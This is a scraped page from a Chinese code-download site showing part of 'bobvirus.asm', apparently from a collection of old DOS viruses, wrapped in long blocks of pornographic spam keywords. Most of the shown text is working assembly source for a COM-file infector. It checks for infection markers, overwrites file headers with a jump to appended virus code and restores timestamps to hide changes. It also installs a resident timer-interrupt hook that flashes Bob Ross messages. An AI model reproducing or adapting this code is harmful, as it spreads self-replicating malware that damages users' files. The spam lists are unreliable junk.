亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? bobvirus.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 2 頁
字號(hào):

        xchg    bx,ax                           ; bx is now handle
        mov     ah,3Fh                          ; Save
        mov     cx, part1_size                  ;  first part
        mov     dx, offset buffer               ;  to buffer
        add     dx, offset_off                  ;  to be restored
        push    dx
        int     21h                             ;  later

        pop     si                              ; Check for virus ID bytes
                                                ;  in the buffer
        push    si
        lodsw                                   ; DS:[SI] -> AX
        cmp     ax, virus_marker                ; Compare it
        jnz     infect_it                       ; infect it if ID #1 not found

        lodsw                                   ; Check next two bytes
        cmp     ax, virus_marker2               ; Compare it
        jnz     infect_it                       ; infect if ID #2 not found
        pop     si
bomb_out:
        mov     ah, 3Eh                         ; else close the file
        int     21h                             ;  and go find another
        jmp     find_next_file                  ;  'cuz it's already infected

Signature db 'PHALCON'

;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
        ; save fileattr
        pop     si
        add     si, offset DTA + DTA_fileattr - offset buffer
        mov     di, si
        add     di, offset origattr - offset DTA - DTA_fileattr
        movsb                                   ; DS:[SI] -> ES:[DI]
        movsw                                   ; Save origtime
        movsw                                   ; Save origdate
        movsw                                   ; Save filesize
                                                ; Only need LSW
                                                ; because COM files
                                                ; can only be up to
                                                ; 65535 bytes long
        cmp     word ptr [si - 2], part1_size
        jl      bomb_out                        ;  is less than 8 bytes.

do_again:
        mov     ah, 2Ch                         ; get time
        int     21h
        add     dl, dh                          ; 1/100 sec + 1 sec
        jz      do_again                        ; Don't want orig strain!

        mov     si, offset encrypt_val
        add     si, offset_off
        mov     byte ptr [si], dl               ; 255 mutations

        mov     ax, 4301h                       ; Set file attributes
        xor     cx, cx                          ;  to nothing
        mov     dx, si                          ; filename in DTA
        add     dx, offset DTA + DTA_filename - offset encrypt_val
        int     21h                             ; do it now, my child

        mov     ah, 3Eh                         ; Close file
        int     21h                             ; handle in BX

        mov     ax, 3D02h                       ; Open file read/write
        int     21h                             ; Filename offset in DX
        jc      bomb_out                        ; Damn! Probs

        mov     di, dx
        add     di, offset oldhandle - offset DTA - DTA_filename
                                                ; copy filehandle to
                                                ;  oldhandle
        stosw                                   ; AX -> ES:[DI]
        xchg    ax, bx                          ; file handle in BX now

        mov     ah, 40h                         ; Write DS:[DX]->file
        mov     cx, part1_size - 4              ; number of bytes
        mov     dx, 0100h                       ; where code starts
        int     21h                             ; (in memory)

        mov     ah, 40h
        mov     si, di                          ; mov si, offset filesize
        add     si, offset filesize - 2 - offset oldhandle
        add     word ptr [si], 0100h
        mov     cx, 2
        mov     dx, si
        int     21h                             ; write jmp offset

        mov     ax, [si]                        ; AX = filesize
        sub     ax, 0108h

        add     si, offset buffer3 - offset filesize
        push    si
        mov     word ptr [si], ax
        mov     ah, 40h
        mov     cx, 2
        mov     dx, si
        int     21h

        mov     ax, 4202h                       ; move file ptr
        xor     cx, cx                          ;  from EOF
        xor     dx, dx                          ;  offset cx:dx
        int     21h

        call    copy_rest_stuff

        pop     si
        add     si, offset oldhandle - offset buffer3
        mov     bx, word ptr [si]
        mov     ax, 5701h                       ; Restore
        add     si, offset origtime - offset oldhandle
        mov     cx, word ptr [si]               ;  old time and
        add     si, 2
        mov     dx, word ptr [si]               ;  date
        int     21h

        mov     ah, 3Eh                         ; Close file
        int     21h

        mov     ax, 4301h                       ; Restore file
        xor     ch, ch
        add     si, offset origattr - offset origtime - 2
        mov     cl, byte ptr [si]               ;  attributes
        mov     dx, si                          ; filename in DTA
        add     dx, offset DTA + DTA_filename - offset origattr
        int     21h                             ; do it now

        jmp     find_next_file2

GotoError:
        jmp     error

Psycho:
; Check if already installed
        push    es
        mov     byte ptr cs:[100h],0            ; Initialize fingerprint
        xor     bx, bx                          ; Zero BX for start
        mov     ax, cs
Init1:  inc     bx                              ; Increment search segment
        mov     es, bx                          ;  value
        cmp     ax, bx                          ; Not installed if we reach
        je      Not_Installed_Yet               ;  the current segment
        mov     si, 100h                        ; Search segment for
        mov     di, si                          ;  fingerprint in first
        mov     cx, 4                           ;  four bytes
        repe    cmpsb                           ; Compare
        jne     init1                           ;  If not equal, try another
        jmp     Quit_Init                       ;  else already installed

Not_Installed_Yet:
        pop     es
        mov     word ptr cs:[Counter], init_delay
        mov     word ptr cs:[D_Mess],    1

; Copy interrupt handler to beginning of code
        mov     si, offset _int_08_handler
        add     si, offset_off
        mov     di, Int_08_Start
        mov     cx, int_end - int_start
        rep     movsb                   ; DS:[SI]->ES:[DI]

        mov     ax, 3508h               ; Get int 8 handler
        int     21h                     ;  put in ES:BX

        mov     cs:[duh], bx            ; Save old handler
        mov     cs:[duh+2], es          ;  in cs:[104h]

        mov     ax, 2508h               ; Install new handler
        mov     dx, Int_08_Start        ;  from DS:DX
        int     21h                     ; Do it

        push    es
        mov     ax, ds:[2Ch]            ; Deallocate program
        mov     es, ax                  ;  environment block
        mov     ah, 49h
        int     21h
        pop     es

        mov     ax, 3100h               ; TSR
        mov     dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
        int     21h
        int     20h                     ; In case of error
Quit_Init:
        pop     es
Error:                                  ; On error, quit
Quit:
        mov     ah, 3Bh                 ; Change directory
        mov     dx, offset root_dir     ;  to the root dir
        add     dx, offset_off
        int     21h

        mov     ah,3Bh                  ; Change directory
                                        ; Return to orig dir
        add     dx, offset orig_path - offset root_dir
        int     21h

; Copy buffer back to beginning of file
        mov     si, dx
        add     si, offset buffer2 - offset orig_path
        mov     di, 0100h
        mov     cx, part1_end - part1_start
        rep     movsb

        mov     di, 0100h
        jmp     di
int_start:
_int_08_handler proc far
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    ds
        push    es
        pushf
        dec     word ptr CS:[Counter]            ; Counter
        jnz     QuitNow
;ACTIVATION!!!
        mov     word ptr CS:[Counter], delay     ; Reset counter

        ; Set up DS & ES to equal CS
        push    cs
        pop     ds
        push    cs
        pop     es

        mov     si, offset Messages - offset int_start + int_08_start
        mov     cx, cs:D_Mess
        xor     ah, ah
LoopY_ThingY:
        lodsb                           ; DS:SI -> AL
        add     si, ax                  ; ES:BP -> Next message to display
        loop    LoopY_ThingY

        lodsb
        xchg    si, bp

        xor     cx, cx
        mov     cl, al                  ; Length of string
        mov     ax, 1300h               ;
        mov     bx, 0070h               ; Page 0, inverse video
        xor     dx, dx                  ; (0,0)
        int     10h                     ; Display ES:BP
        inc     word ptr cs:[D_Mess]
        cmp     word ptr cs:[D_Mess], num_messages
        jnz     Sigh
        mov     word ptr cs:[D_Mess], 1

Sigh:   mov     cx, 30h
Sigh2:  push    cx
        mov     cx, 0FFFFh
DelayX: loop    DelayX
        pop     cx
        loop    Sigh2
        xchg    si, bp
QuitNow:
        popf
        pop     es
        pop     ds
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        jmp     dword ptr CS:duh

Messages db      0
         db      15, 'Bob Ross lives!'
         db      21, 'Bob Ross is watching!'
         db      22, 'Maybe he lives here...'
         db      26, 'What a happy little cloud!'
         db      38, 'Maybe he has a neighbour right here...'
         db      40, 'You can make up stories as you go along.'
_int_08_handler endp
int_end:
part2_end:

CODE    ends
        end     part1_start

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人在线视频一区| 亚洲一区二区三区视频在线| 欧美大胆人体bbbb| 精品久久久久久久久久久久包黑料| 欧美激情综合在线| 亚洲综合小说图片| 欧美三级韩国三级日本一级| 久久亚洲二区三区| 亚洲午夜久久久| 粉嫩一区二区三区在线看| 7777精品伊人久久久大香线蕉 | 国产亚洲一区二区在线观看| 一区二区三区中文在线观看| 国产精品白丝av| 制服视频三区第一页精品| 开心九九激情九九欧美日韩精美视频电影 | 国产91精品露脸国语对白| 日本一区二区三区免费乱视频| 日韩二区在线观看| 91免费国产在线| 久久久精品国产99久久精品芒果 | 日韩欧美一二区| 国产成人免费视频一区| 日韩一区和二区| 日韩高清在线电影| 国产欧美在线观看一区| 91免费看片在线观看| 天天亚洲美女在线视频| 欧美性大战久久久久久久蜜臀| 亚洲欧洲日韩av| 高潮精品一区videoshd| 亚洲大片在线观看| 欧美色中文字幕| 国内精品嫩模私拍在线| 欧美精品一区二区三区在线| 精品一区二区成人精品| 精品久久久久久无| 一本色道久久综合亚洲精品按摩| 亚洲国产精品精华液ab| 欧美午夜一区二区三区| 国产成人午夜高潮毛片| 亚洲成人资源在线| 亚洲国产精品精华液2区45| 69p69国产精品| 成人中文字幕电影| 久久精品国产99| 一区二区三区免费在线观看| 久久色.com| 欧美一区二区成人| 国产一区二区精品久久91| 国产欧美精品一区二区色综合| 欧美午夜免费电影| 99视频超级精品| 亚洲国产一区二区a毛片| 国产蜜臀av在线一区二区三区| 欧美精品少妇一区二区三区 | 国产精品主播直播| 天堂一区二区在线| 精品国产青草久久久久福利| 在线观看成人小视频| 美女视频黄a大片欧美| 久久在线观看免费| 欧美一区二区视频在线观看2020 | 国产精品萝li| 欧美三级日韩三级| 色婷婷一区二区| 成人av网址在线观看| 亚洲国产精品久久久久秋霞影院 | 一区二区三区精品视频| 国产精品短视频| 在线电影国产精品| 欧美色国产精品| 欧美性受xxxx黑人xyx| 91在线免费看| 麻豆精品在线观看| 免费在线视频一区| 专区另类欧美日韩| 日韩视频免费观看高清完整版在线观看 | 欧美成人精品3d动漫h| 欧美日韩日日骚| 欧美挠脚心视频网站| 国产一区二区免费在线| 国产精品正在播放| 国产精品综合一区二区三区| 国产精品一二三区在线| 国内久久精品视频| 成人毛片老司机大片| a级精品国产片在线观看| 成人av片在线观看| 色哟哟一区二区在线观看| 色综合天天视频在线观看| 色欧美片视频在线观看在线视频| 91福利在线看| 粉嫩aⅴ一区二区三区四区| 成人丝袜18视频在线观看| 成人福利电影精品一区二区在线观看| 高清shemale亚洲人妖| 91蜜桃视频在线| 在线观看亚洲专区| 欧美丰满美乳xxx高潮www| 欧美一区二区三区视频在线| 欧美sm美女调教| 国产午夜亚洲精品羞羞网站| 中文字幕二三区不卡| 亚洲日本在线看| 亚洲国产sm捆绑调教视频| 青青国产91久久久久久| 国产精品 日产精品 欧美精品| 成人短视频下载| 欧美日韩三级一区二区| 欧美xxxxx牲另类人与| 国产精品水嫩水嫩| 亚洲国产aⅴ天堂久久| 久久99精品久久久久久久久久久久| 久久99久久久久久久久久久| 国产乱码精品一品二品| 色哟哟国产精品| 欧美成人三级在线| 亚洲欧美日韩国产一区二区三区 | 亚洲色大成网站www久久九九| 亚洲一级片在线观看| 久久se精品一区精品二区| 成人av电影在线观看| 91精品麻豆日日躁夜夜躁| 中文字幕精品—区二区四季| 肉色丝袜一区二区| 不卡一区二区三区四区| 91精品在线一区二区| 国产精品久久久久影院色老大| 丝袜脚交一区二区| va亚洲va日韩不卡在线观看| 欧美疯狂性受xxxxx喷水图片| 中文字幕制服丝袜成人av| 人禽交欧美网站| 色婷婷久久久久swag精品| 精品三级在线看| 亚洲成人福利片| 成人美女视频在线看| 日韩欧美不卡一区| 亚洲一区二区欧美日韩| 成人久久视频在线观看| 91精品国产色综合久久不卡蜜臀| 中文字幕一区日韩精品欧美| 精油按摩中文字幕久久| 欧美日韩国产综合一区二区| 国产精品久久久久一区二区三区共 | 日韩欧美国产一区二区在线播放| 亚洲欧美日韩久久| 国产宾馆实践打屁股91| 日韩一区二区影院| 亚洲午夜免费电影| 色成年激情久久综合| 欧美午夜在线观看| 亚洲精选一二三| 日本视频免费一区| 精品视频在线看| 夜夜嗨av一区二区三区四季av| 国产精品一级二级三级| 精品久久久久99| 极品美女销魂一区二区三区 | 久久99精品网久久| 欧美一二三在线| 亚洲成国产人片在线观看| 91丨九色porny丨蝌蚪| 国产精品毛片久久久久久久| 国产伦精品一区二区三区免费迷| 欧美va天堂va视频va在线| 蜜臀av一区二区| 日韩欧美一二三区| 另类专区欧美蜜桃臀第一页| 欧美一二三区在线观看| 蜜桃视频一区二区三区在线观看| 欧美日韩一区二区在线观看视频| 亚洲一级二级在线| 欧美福利视频导航| 久久电影网电视剧免费观看| 日韩视频一区二区三区| 狠狠v欧美v日韩v亚洲ⅴ| 精品国产凹凸成av人导航| 国产美女精品在线| 国产精品天干天干在观线| 91亚洲精华国产精华精华液| 亚洲欧美日韩国产手机在线| 精品视频一区二区不卡| 日韩电影一区二区三区| 久久亚洲精品小早川怜子| 成人免费毛片app| 一区二区三区毛片| 91精品国产一区二区三区香蕉| 精品一区免费av| 欧美国产在线观看| 色播五月激情综合网| 奇米精品一区二区三区在线观看一| 精品国产凹凸成av人网站| 国产成人亚洲综合a∨猫咪| 亚洲精品写真福利| 日韩一二三四区| 成人理论电影网| 人人爽香蕉精品| 欧美国产成人精品|